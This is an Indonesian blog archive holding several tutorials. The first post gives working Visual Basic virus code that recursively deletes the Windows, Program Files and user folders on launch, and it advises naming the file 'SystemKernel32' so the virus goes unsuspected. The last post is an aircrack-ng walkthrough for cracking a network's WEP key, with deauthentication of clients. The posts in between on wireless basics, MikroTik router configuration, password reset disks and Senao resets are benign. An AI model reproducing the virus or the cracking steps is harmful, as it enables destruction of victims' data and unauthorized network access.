24 June 2008

Nich...Virus....

Gregetan…..!!
Jangan disiasiain yach…..!!
Nih tutorial buat bikin virus yg rada mematikan, tapi simple, dan kayanya sih g’ bakal kedekteksi antivirus, soalnya cara kerjanya simple gt
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
—- more —-
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3. Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!
Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya… ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri.

Apa itu WILAN ??

WIRELESS LAN……………….??
Wireless LAN adalah :
• Perangkat yang dipakai untuk menyambung jaringan komputer (LAN) dengan menggunakan udara sebagai media komunikasinya
• Frekwensi yang dipakai adalah 2,4GHz atau 5GHz yaitu frekwensi yang tergolong ISM (Industrial, Scientific dan Medical) dan UNII (Unlicensed National Information Infrastructure)
Transmit (Tx) Power
Radio mempunyai daya untuk menyalurkan sinyal pada frekwensi tertentu, daya tersebut disebut Transmit (Tx) Power dan dihitung dari besar enerji yang disalurkan melalui satu lebar frekwensi (bandwidth)
Received (Rx) Sensitivity
Semua radio memiliki point of no return, yaitu keadaan dimana radio menerima sinyal kurang dari Rx Sensitivity yang ditentukan, dan radio tidak mampu melihat data-nya.
Rx Sensitivity yang sebetulnya dari radio akan bervariasi tergantung dari banyak faktor.
Radiated Power
Dalam sistem wireless, antena digunakan untuk meng-konversi gelombang listrik menjadi gelombang elektromagnit. Besar enerji antena dapat memperbesar sinyal terima dan kirim, yang disebut sebagai Antenna Gain yang diukur dalam :
dBi : relatif terhadap isotropic radiator
dBd : relatif terhadap dipole radiator
dimana 0 dBd = 2,15 dBi
Radiated Power
Pengaturan yang dilakukan oleh FCC harus memenuhi ketentuan dari besarnya daya yang keluar dari antena. Daya ini diukur berdasarkan dua cara :
Effective Isotropic Radiated Power (EIRP)
Diukur dalam dBm = daya di input antena [dBm] + relatif antena gain [dBi]
Effective Radiated Power (ERP)
Diukur dalam dBm = daya di input antena [dBm] + relatif antena gain [dBd]
Kehilangan Daya
Pada sistem wireless, ada banyak faktor yang menyebabkan kehilangan kekuatan sinyal, seperti kabel, konektor, penangkal petir dan lainnya yang akan menyebabkan turunnya unjuk kerja dari radio jika dipasang sembarangan
Pada radio yang daya-nya rendah seperti 802.11b, setiap dB adalah sangat berarti, dan harus diingat “3 dB Rule”.
Setiap kenaikan atau kehilangan 3 dB, kita akan mendapatkan dua kali lipat daya atau kehilangan setengahnya .
Kehilangan Daya
-3 dB = 1/2 daya
-6 dB = 1/4 daya
+3 dB = 2x daya
+6 dB = 4x daya

Sumber yang menyebabkan kehilangan daya dalam sistem wireless : free space, kabel, konektor, jumper, hal-hal yang tidak terlihat.
3dB Rule bisa diterapkan secara prak-tis dengan bantuan antenna Access Point dengan standar 802.11b mempunyai penguatan 13dB untuk jarak 300 meter, maka kalau kita menggunakan antena 15dB (total 28dB) rumusannya menjadi :
- 13 + 3 dB – jaraknya menjadi 600 meter
- 16 + 3 dB – jaraknya menjadi 1,2 KM
- 19 + 3 dB – jaraknya menjadi 2,4 KM
- 21 + 3 dB – jaraknya menjadi 4,8 KM
- 24 + 3 dB – jaraknya menjadi 9,6 KM
- 1dB dianggap loss ….
Direct Sequence Spread Spectrum
Dikenal juga sebagai Direct Sequence Code Division Multiple Access (DS-CDMA), DSSS merupakan salah satu cara untuk menyebarkan modulasi sinyal digital di udara.
Rentetan informasi dikirim dengan membagi sekecil mungkin sinyal, lalu ditumpangkan pada kanal frekwensi yang ada di dalam spektrum tertentu.
Direct Sequence Spread Spectrum
Pada saat dipancarkan, data di kombinasi dengan rentetan bit data yang lebih tinggi (disebut chipping code) untuk kemudian datanya dibagi menurut rasio tertentu.
Transmitter dan Receiver harus di sinkronisasi dengan kode acak yang sama.
Chipping code membantu sinyal lebih tahan terhadap interference dan juga memungkinkan data aslinya bisa di perbaiki jika ternyata rusak selama pengiriman.

Direct Sequence Spread Spectrum
Sinyal yang sudah di acak dan digabung dengan sinyal lain, dimana bandwidth-nya adalah 22MHz
Frequency Hopping Spread Spectrum
Dikenal juga sebagai Frequency Hopping Code Division Multiple Access (FH-CDMA), radio FHSS dipancarkan dengan meloncat-loncat diantara frekwensi yang sudah tersedia dan mengikuti satu alogaritma tertentu, baik secara acak atau tertentu.
Transmitter di sinkronisasi dengan Receiver, sehingga tetap berada di frekwensi tengah-nya.
Standar Wireless LAN
– Standar yang dipakai adalah IEEE 802.11x, dimana x adalah sub standar yang terdiri dari :
* 802.11 - 2,4GHz - 2Mbps
* 802.11a - 5GHz - 54Mbps
* 802.11a 2X - 5GHz - 108Mbps
* 802.11b - 2,4GHz - 11Mbps
* 802.11g - 2,4GHz - 22Mbps
* 802.11n - 2,4GHz - 120Mbps
Gregetan…….!!

20 June 2008

Lupa.....!!!

Lupa Password Login Admin Win XP
By : Gregetan
Apabila komputer anda berisi data2x penting. tentunya anda tak ingin orang lain melihat apalagi sampai mengcopy dengan diam2x data anda. oleh karena itu kebanyakan orang akan memberi password login windows pada komputer mereka. Namun bagaimana jika anda lupa password login windows tersebut. untuk itu sebaiknya anda persiapkan mulai sekarang.
- Siapkan sebuah floppy disk atau sebuah USB flash disk.
- Bukalah User Account melalui Control Panel.
- Pilih account administrator anda. Kemudian pilihlah pada Prevent a forgotten password.
- Di jendela yg muncul, pilih drive yg akan dipakai, klik next.
- Isi password administrator anda yang sekarang, klik next
- Tunggu hingga prosesnya selesai
- Di drive akan di hasilkan sebuah file bernama userkey.psw. Jaga file tersebut.
- Di layar login, pilih user name Anda, dan tekan Enter. Maka akan muncul sebuah pop-up bertuliskan Did you forget your password?.
- Klik Use your password reset disk, dan masukkan disk yang berisi password reset anda.
- Masukkan password anda yang baru dan hint-nya, lalu Next.
- Setelah itu. Anda bisa login kembali ke Windows dengan password yang baru saja dibuat.
Trik ini hanya berlaku pada komputer dimana anda membuat password reset, dengan kata lain file userkey.psw yang berada di flash disk anda tidak bisa anda gunakan untuk menembus komputer lain

Mikrotik tutorial....

MIKROTIK STEP BY STEP

Sekilas Mikrotik
Mikrotik sekarang ini banyak digunakan oleh ISP, provider hotspot, ataupun oleh pemilik warnet. Mikrotik OS menjadikan computer menjadi router network yang handal yang dilengkapi dengan berbagai fitur dan tool, baik untuk jaringan kabel maupun wireless.
Dalam tutorial kali ini penulis menyajikan pembahasan dan petunjuk sederhana dan simple dalam mengkonfigurasi mikrotik untuk keperluan-keperluan tertentu dan umum yang biasa dibutuhkan untuk server/router warnet maupun jaringan lainya, konfirugasi tersebut misalnya, untuk NAT server, Bridging, BW manajemen, dan MRTG.
Versi mikrotik yang penulis gunakan untuk tutorial ini adalah MikroTik routeros 2.9.27
Akses mirotik:
1. via console
Mikrotik router board ataupun PC dapat diakses langsung via console/ shell maupun remote akses menggunakan putty (www.putty.nl)
2. via winbox
Mikrotik bisa juga diakses/remote menggunakan software tool winbox
3. via web
Mikrotik juga dapat diakses via web/port 80 dengan menggunakan browser

Memberi nama Mirotik

[ropix@IATG-SOLO] > system identity print
name: "Mikrotik"
[ropix@IATG-SOLO] > system identity edit
value-name: name

masuk ke editor ketik misal saya ganti dengan nama IATG-SOLO:

IATG-SOLO
C-c quit C-o save&quit C-u undo C-k cut line C-y paste

Edit kemudian tekan Cltr-o untuk menyimpan dan keluar dari editor

Mengganti nama interface:

[ropix@IATG-SOLO] > /interface print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 R ether2 ether 0 0 1500
[ropix@IATG-SOLO] > /interface edit 0
value-name: name

Nilai 0 adalah nilai ether1, jika ingin mengganti ethet2 nilai 0 diganti dengan 1.
masuk ke editor ketik missal saya ganti dengan nama local:

local
C-c quit C-o save&quit C-u undo C-k cut line C-y paste

Edit kemudian tekan Cltr-o untuk menyimpan dan keluar dari editor
Lakukan hal yang sama untuk interface ether 2, sehingga jika dilihat lagi akan muncul seperti ini:
[ropix@IATG-SOLO] > /interface print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R local ether 0 0 1500
1 R public ether 0 0 1500

Seting IP Address :

[ropix@IATG-SOLO] > /ip address add
address: 192.168.1.1/24
interface: local
[ropix@IATG-SOLO] > /ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 192.168.0.254/24 192.168.0.0 192.168.0.255 local
Masukkan IP addres value pada kolom address beserta netmask, masukkan nama interface yg ingin diberikan ip addressnya.Untuk Interface ke-2 yaitu interface public, caranya sama dengan diatas, sehingga jika dilihat lagi akan menjadi 2 interface:

[ropix@IATG-SOLO] > /ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 192.168.0.254/24 192.168.0.0 192.168.0.255 local
1 202.51.192.42/29 202.51.192.40 202.51.192.47 public


Mikrotik Sebagai NAT

Network Address Translation atau yang lebih biasa disebut dengan NAT adalah suatu metode untuk menghubungkan lebih dari satu komputer ke jaringan internet dengan menggunakan satu alamat IP. Banyaknya penggunaan metode ini disebabkan karena ketersediaan alamat IP yang terbatas, kebutuhan akan keamanan (security), dan kemudahan serta fleksibilitas dalam administrasi jaringan.

Saat ini, protokol IP yang banyak digunakan adalah IP version 4 (IPv4). Dengan panjang alamat 4 bytes berarti terdapat 2 pangkat 32 = 4.294.967.296 alamat IP yang tersedia. Jumlah ini secara teoretis adalah jumlah komputer yang dapat langsung koneksi ke internet. Karena keterbatasan inilah sebagian besar ISP (Internet Service Provider) hanya akan mengalokasikan satu alamat untuk satu user dan alamat ini bersifat dinamik, dalam arti alamat IP yang diberikan akan berbeda setiap kali user melakukan koneksi ke internet. Hal ini akan menyulitkan untuk bisnis golongan menengah ke bawah. Di satu sisi mereka membutuhkan banyak komputer yang terkoneksi ke internet, akan tetapi di sisi lain hanya tersedia satu alamat IP yang berarti hanya ada satu komputer yang bisa terkoneksi ke internet. Hal ini bisa diatasi dengan metode NAT. Dengan NAT gateway yang dijalankan di salah satu komputer, satu alamat IP tersebut dapat dishare dengan beberapa komputer yang lain dan mereka bisa melakukan koneksi ke internet secara bersamaan.



Misal kita ingin menyembunyikan jaringan local/LAN 192.168.0.0/24 dibelakang satu IP address 202.51.192.42 yang diberikan oleh ISP, yang kita gunakan adalah fitur Mikrotik source network address translation (masquerading) . Masquerading akan merubah paket-paket data IP address asal dan port dari network 192.168.0.0/24 ke 202.51.192.42 untuk selanjutnya diteruskan ke jaringan internet global.
Untuk menggunakan masquerading, rule source NAT dengan action 'masquerade' harus ditambahkan pada konfigurasi firewall:
[ropix@IATG-SOLO] > /ip firewall nat add chain=srcnat action=masquerade out-interface=public

Mikrotik sebagai Transparent web proxy

Salah satu fungsi proxy adalah untuk menyimpan cache. Apabila sebuah LAN menggunakan proxy untuk berhubungan dengan Internet, maka yang dilakukan oleh browser ketika user mengakses sebuah url web server adalah mengambil request tersebut di proxy server. Sedangkan jika data belum terdapat di proxy server maka proxy mengambilkan langsung dari web server. Kemudian request tersebut disimpan di cache proxy. Selanjutnya jika ada client yang melakukan request ke url yang sama, akan diambilkan dari cache tersebut. Ini akan membuat akses ke Internet lebih cepat.

Bagaimana agar setiap pengguna dipastikan mengakses Internet melalu web proxy yang telah kita aktifkan? Untuk ini kita dapat menerapkan transparent proxy. Dengan transparent proxy, setiap Browser pada komputer yang menggunakan gateway ini secara otomatis melewati proxy.

Mengaktifkan fiture web proxy di mikrotik:
[ropix@IATG-SOLO] > /ip proxy set enabled=yes
[ropix@IATG-SOLO] > /ip web-proxy set
cache-administrator= ropix.fauzi@infoasia.net
[ropix@IATG-SOLO] > /ip web-proxy print

enabled: yes
src-address: 0.0.0.0
port: 3128
hostname: "IATG-SOLO"
transparent-proxy: yes
parent-proxy: 0.0.0.0:0
cache-administrator: "ropix.fauzi@infoasia.net"
max-object-size: 8192KiB
cache-drive: system
max-cache-size: unlimited
max-ram-cache-size: unlimited
status: running
reserved-for-cache: 4733952KiB
reserved-for-ram-cache: 2048KiB

Membuat rule untuk transparent proxy pada firewall NAT, tepatnya ada dibawah rule untuk NAT masquerading:
[ropix@IATG-SOLO] > /ip firewall nat add chain=dstnat in-interface=local src-address=192.168.0.0/24 protocol=tcp dst-port=80 action=redirect to-ports=3128

[ropix@IATG-SOLO] > /ip firewall nat print
Flags: X - disabled, I - invalid, D - dynamic
0 chain=srcnat out-interface=public action=masquerade
1 chain=dstnat in-interface=local src-address=192.168.0.0/24 protocol=tcp dst-port=80 action=redirect to-ports=3128

Pada winbox:
1. Aktifkan web proxy pada menu IP>Proxy>Access>Setting ( check box enable)

2. Setting parameter pada menu IP>Web Proxy>Access Setting>General


3. Membuat rule untuk transparent proxy pada menu IP>Firewall>NAT


Transparent proxy dengan proxy server terpisah/independent
Web Proxy built in MikroTik menurut pengamatan saya kurang begitu bagus dibandingkan dengan proxy squid di linux, squid di linux lebih leluasa untuk dimodifikasi dan diconfigure, misalkan untuk feature delay-pool dan ACL list yang berupa file, belum ada di mikrotik seri 2.9.x.
Biasanya kebanyakan orang lebih suka membuat proxy server sendiri, dengan PC Linux/FreeBSD dan tinggal mengarahkan semua client ke PC tersebut.
Topologi PC proxy tersebut bisa dalam jaringan local ataupun menggunakan ip public.
Konfigurasinya hampir mirip dengan transparent proxy, bedanya adalah pada rule NAT

Dalam contoh diatas 192.168.0.100 adalah IP proxy server port 8080

Mikrotik sebagai bandwidth limiter
Mikrotik juga dapat digunakan untuk bandwidth limiter (queue) . Untuk mengontrol mekanisme alokasi data rate.
Secara umum ada 2 jenis manajemen bandwidth pada mikrotik, yaitu simple queue dan queue tree. Silahkan gunakan salah satu saja.

Tutorial berikutnya semua setting mikrotik menggunakan winbox, karena lebih user friendly dan efisien.

Simple queue:
Misal kita akan membatasi bandwidth client dengan ip 192.168.0.3 yaitu untuk upstream 64kbps dan downstream 128kbps
Setting pada menu Queues>Simple Queues
Queue tree
Klik menu ip>firewall>magle





Buat rule (klik tanda + merah) dengan parameter sbb:
Pada tab General:
Chain=forward,
Src.address=192.168.0.3 (atau ip yg ingin di limit)
Pada tab Action :
Action = mark connection,
New connection mark=client3-con (atau nama dari mark conection yg kita buat)
Klik Apply dan OK

Buat rule lagi dengan parameter sbb:
Pada tab General: Chain=forward,
Connection mark=client3-con (pilih dari dropdown menu)
Pada tab Action:
Action=mark packet,
New pcket Mark=client3 (atau nama packet mark yg kita buat)
Klik Apply dan OK

Klik menu Queues>Queues Tree

Buat rule (klik tanda + merah) dengan parameter sbb:


Pada tab General:
Name=client3-in (misal),
Parent=public (adalah interface yg arah keluar),
Paket Mark=client3 (pilih dari dropdown, sama yg kita buat pada magle),
Queue Type=default,
Priority=8,
Max limit=64k (untuk seting bandwith max download)
Klik aplly dan Ok

Buat rule lagi dengan parameter sbb:
Pada tab General:
Name=client3-up (misal),
Parent=local (adalah interface yg arah kedalam),
Paket Mark=client3 (pilih dari dropdown, sama yg kita buat pada magle),
Queue Type=default,
Priority=8,
Max limit=64k (untuk seting bandwith max upload)
Klik aplly dan Ok

Mikrotik sebagai Bridging

Bridge adalah suatu cara untuk menghubungkan dua segmen network terpisah bersama-sama dalam suatu protokol sendiri. Paket yang diforward berdasarkan alamat ethernet, bukan IP address (seperti halnya router). Karena forwarding paket dilaksanakan pada Layer 2, maka semua protokol dapat melalui sebuah bridge.
Jadi analoginya seperti ini, anda mempunyai sebuah jaringan local 192.168.0.0/24 gateway ke sebuah modem ADSL yg juga sebagai router dengan ip local 192.168.0.254 dan ip public 222.124.21.26.
Anda ingin membuat proxy server dan mikrotik sebagai BW management untuk seluruh client. Nah mau ditaruh dimanakan PC mikrotik tersebut? Diantara hub/switch dan gateway/modem? Bukankah nanti jadinya dia sebagai NAT dan kita harus menambahkan 1 blok io privat lagi yang berbeda dari gateway modem?


Solusinya mikrotik di set sebagai bridging, jadi seolah2 dia hanya menjembatani antar kabel UTP saja. Topologinya sbb:

Internet----------Moderm/router-----------Mikrotik--------Switch/Hub-----Client

Setting bridging menggunakan winbox
1. Menambahkan interface bridge
Klik menu Interface kemudian klik tanda + warna merah untuk menambahkan interface, pilih Bridge

2. menambahkan interface ether local dan public pada interface
Klik menu IP>Bridge>Ports , kemudian klik tanda + untuk menambahkan rule baru:
Buat 2 rules, untuk interface local dan public.

3. Memberi IP address untuk interface bridge
Klik menu IP kemudian klik tanda + untuk menambahkan IP suatu interface, missal 192.168.0.100, pilih interface bridge1 (atau nama interface bridge yang kita buat tadi)

Dengan memberikan IP Address pada interface bridge, maka mikrotik dapat di remote baik dari jaringan yg terhubung ke interface local ataupun public.

Mikrotik sebagai MRTG / Graphing
Graphing adalah tool pada mokrotik yang difungsikan untuk memantau perubahan parameter-parameter pada setiap waktu. Perubahan perubahan itu berupa grafik uptodate dan dapat diakses menggunakan browser.
Graphing dapat menampilkan informasi berupa:
* Resource usage (CPU, Memory and Disk usage)
* Traffic yang melewati interfaces
* Traffic yang melewati simple queues

Mengaktifkan fungsi graping
Klik menu Tool >Graphing>Resource Rules
Adalah mengaktifkan graphing untuk resource usage Mikrotik. Sedangkana allow address adalah IP mana saja yang boleh mengakses grafik tersebu,. 0.0.0.0/0 untuk semua ip address.


Klik menu Tool>Graphing>Interface Rules
Adalah mengaktifkan graphing untuk monitoring traffic yang melewati interface, silahkan pilih interface yg mana yang ingin dipantau, atau pilih “all” untuk semua.


Graphing terdiri atas dua bagian, pertama mengumpulkan informasi/ data yang kedua menampilkanya dalam format web. Untuk mengakses graphics, ketik URL dengan format http://[Router_IP_address]/graphs/ dan pilih dari menu-menu yang ada, grafik mana yang ingin ditampilkan.
Contoh hasil grafik untuk traffic interface public:



Demikian, tutorial yang sedikit penulis sampaikan untuk sekedar membagi ilmu atau menyederhanakan untuk memudahkan pemahaman dari tutorial yang sudah tersedia di situs resmi mikrotik.

By: agoyarp@yahoo.com

Cara reset Senao..

Reset Senao EOC/NOC 3220 EXT 3220+
By ; Gregetan
Di beberapa tempat yang sempat saya kerjakan koneksi wireless point to point maupun point to multipoint, saya lebih banyak menggunakan perangkat senao, dengan pertimbangan daya pancar yang kuat, dan harga yang “murah” dibandingkan dengan perangkat semacam SmartBridge atau Motorola (tapi tentu saja kelasnya masih diatas Senao). Namun jika cukup dengan Senao mengapa harus beli yang mahal ?

Perangkat Senao yang udah terpasang meski kasusnya hanya di satu tempat, kadang butuh di reset karena radionya macet (bug?). Proses reset juga gak bisa dilakukan lewat WEB/GUI karena gak bisa diakses dari komputer lain, jadi terpaksa deh di reset secara hardware. Tapi tunggu dulu ternyata di perangkat tersebut gak ada tombol reset seperti yang biasa dijumpai pada kebanyakan perangkat wireless indoor. Setelah googling .. ternyata harus menggunakan kabel serial RS232 (null modem).
Yang perlu disiapkan adalah kabel serial RS232 9 pin (DB9) dengan konektor female dikedua ujungnya. Meski biasanya bisa ditemukan di toko-toko komputer, biasanya yang ada bukan kabel null modem, melainkan kabel serial biasa dengan konektor F/M (Satu Female dan di ujung lainnya menggunakan konektor Male). Jika Anda tidak bisa menemukan kabel null modem, diakali aja… Gunakan 2 buah kabel serial tersebut, kemudian dipotong lalu sambung kembali sehinggga membentuk konektor Female dikedua sisinya. Yang perlu diperhatikan adalah hubungan antar pin dibuat sesuai dengan hubungan untuk kabel null modem seperti berikut :

Keterangan lengkap mengenai Null Modem ini bisa di baca di sini
Setelah kabel Null Modem siap, selanjutnya ikuti saja langkah-langkah berikut :
Buka terlebih dahulu penutup konektor serial pada radio senao yang terletak dibagian bawah dekat port RJ 45.

1. Hubungkan kabel serial ke port com pada komputer/laptop.
2. Jalankan aplikasi Hyperterminal (ada dibagian accessories-communication). Klik Start kemudian pilih Programs -> Accessories -> Communications -> HyperTerminal.
3. Berikan nama koneksi apa saja, misalnya Senao 3220. Kemudian pilih koneksi COM1 (atau COM2 tergantung port di komputer).
4. Setting HyperTerminal baudrate “38400″, data bits “8″, parity “none”, stop bits “1″, flow control “None”. Kemudian tekan “OK”.
5. Matikan power pada POE selama kurang lebih 5 detik kemudian On-kan kembali.
6. Tunggu sampai prompt # muncul pada layar HyperTerminal.
7. Ketik “flash reset”, Tekan enter.
8. Ketik “reboot”, tekan enter. Perangkat Senao akan reboot dan semua setting akan dikembalikan seperti semula.
9. Jika tidak terdapat kerusakan, Anda bisa mengakses kembali melalui WEB dengan alamat IP default : 192.168.1.1 selesai deh…!!

Menembus pertahanan WEP keys

Menembus Pertahanan WEP Keys:
1. Jalankan BackTrack.
2. Reset driver wireless. Ketikkan:
#airmon-ng -> cek interface ath yang aktif
#airmon-ng stop ath0
#airmon-ng stop ath1 -> bila ath1 aktif
#airmon-ng start wifi0
3. Buka 3 buah console.
4. Console 1, ketikkan:
#airodump-ng ath0 -> scanning hotspot yang aktif.
#airodump-ng --channel 11 --bssid 00:0E:2E:C2:2C:0E -w target ath0
Keterangan:
Proses ini untuk mengcapture informasi dapat membantu dalam menembus WE
P Key.
--bssid -> MAC-Address dari AP yang akan di crack
-w target -> hasil capture ini akan disimpan di file yang namanya target
5. Console 2, ketikkan:
Untuk membantu menciptakan pengumpulan paket data
#aireplay-ng --arpreplay -b 00:0E:2E:C2:2C:0E -h 00:0E:2E:C1:1E:83 ath0 Keterangan:
-b -> MAC-Address dari AP.
-h -> MAC-Address dari client yang aktif terhubung ke AP.
6. Console 3, ketikkan:
Untuk mempercepat pengumpulan paket data, dilakukan serangan deauthentication ke client.
#aireplay-ng --deauth 2 -c 00:0E:2E:C1:1E:83 -a 00:0E:2E:C2:2C:0E ath0
Keterangan:
-c -> MAC-Address dari Client
-a -> MAC-Address dari AP
7. Setelah terkumpul paket data yang cukup, dilakukan cracking:
#aircrack-ng target*.cap
Maka dapat kita lihat hasil WEP Key yang berhasil didapatkan
By ; Gregetan